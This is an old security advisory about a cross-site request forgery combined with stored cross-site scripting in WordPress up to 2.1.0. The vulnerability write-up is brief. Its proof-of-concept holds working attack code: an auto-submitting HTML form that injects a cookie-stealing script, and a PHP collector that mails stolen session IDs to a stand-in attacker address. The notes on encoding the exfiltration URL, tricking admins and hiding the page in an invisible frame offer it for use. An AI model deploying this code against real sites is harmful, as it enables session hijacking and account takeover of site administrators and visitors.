---------------------------------------------------------------------------------
|    ____   ____.__         __                           |
|    \   \ /   /|__|_______/  |_ __ _______  ___  ___    |
|     \   Y   / |  \_  __ \   __\  |  \__  \ \  \/  /    |
|      \     /  |  ||  | \/|  | |  |  // __ \_>    <     |
|       \___/   |__||__|   |__| |____/(____  /__/\_ \    |
|                                        \/      \/    |
|           Security without illusions        |
|           www.virtuax.be        |
|                    |
---------------------------------------------------------------------------------


        Application: Wordpress
      Vulnerable Versions: <= v2.1.0
      Vulnerability: XSRF with XSS

             Vendor: http://www.wordpress.net
      Vendor Status: Notified

        Found: 20-02-2007
      Public Release Date: 01-03-2007
      Last modified: 01-03-2007
             Author: ciri
           E-mail: ciri[a.t]virtuax[d.o.t]be
   
  reference: http://www.virtuax.be/advisories/Advisory4-20022007.txt

=================================================================================

Shouts to the VirtuaX Crew & Community!
Special thanks go out to R4N01 for noticing the XSS!

=================================================================================



I. Background
-------------

"WordPress is a state-of-the-art semantic personal publishing platform with a 
 focus on aesthetics, web standards, and usability. "
                by wordpress.net

II. Vulnerablity
----------------

If you're logged in into wordpress as an admin, your comments aren't properly 
sanitized, thus allowing an XSS to be posted. Normally an admin wouldn't input 
XSS input vectors, but we can make them do it with a simple XSRF script.

IIa. Affected Versions
----------------------

I'm assuming all versions <= 2.1.0 are vulnerable although I have only tested the
latest version (2.1.0). This should work in all browser that have JavaScript enabled
(default in most browsers).

III. PoC
--------

[code=sploit.html]
<form action="http://example.com/wp-comments-post.php" method="post" name="commentform" id="commentform">
<textarea name="comment" id="comment">
<script>String.fromCharCode(x,y,z,q,r,s)+document.cookie;</script>
</script>
</textarea>

<input type="hidden" name="comment_post_ID" value="**ID**" />
</form>
<script>document.commentform.submit();</script>
[/code]

[code=steal.php]
<?php
//Get the session id
$id = $_GET["id"];

//Send it to our e-mail
mail("evilhacker@yoursite.com", "Cookie stolen", $id);

//Save a backup
$file = fopen('log.txt', 'a');
fwrite($file, $id . "\n\n");
?>
[/code]

Notes: 
  - **ID** should be the ID of the commentpage in which you want to inject
     the XSS. 
  - Replace 'String.fromCharCode(x,y,z,q,r,s)' with the appropiate integers
    which lead to steal.php (you can look them up in an ASCII table)
    eg: http://yoursite.com/steel.php?id=
        String.fromCharCode(104,116,116,112,58,47,47,121,111,117,114,
        115,105,116,101,46,99,111,109,47,115,116,101,101,108,46,112,
        104,112,63,105,100,61);
     We need to do this because Wordpress escapes quotes.
    
We trick the admin into going to our sploit.html page (should be fairly easy 
using basic social engineering skills). It is recommended that you hide the page
in a frame with no height, more stealth options are beyond the scope of this
advisory. Upon entering the page, the admin will post the XSS input vector as a 
comment. Herafter he and EVERY other user that visits the page with comments will 
automatically submit their session_id's to you.

Copyright 2007 by ciri from Virtuax.be All rights reserved.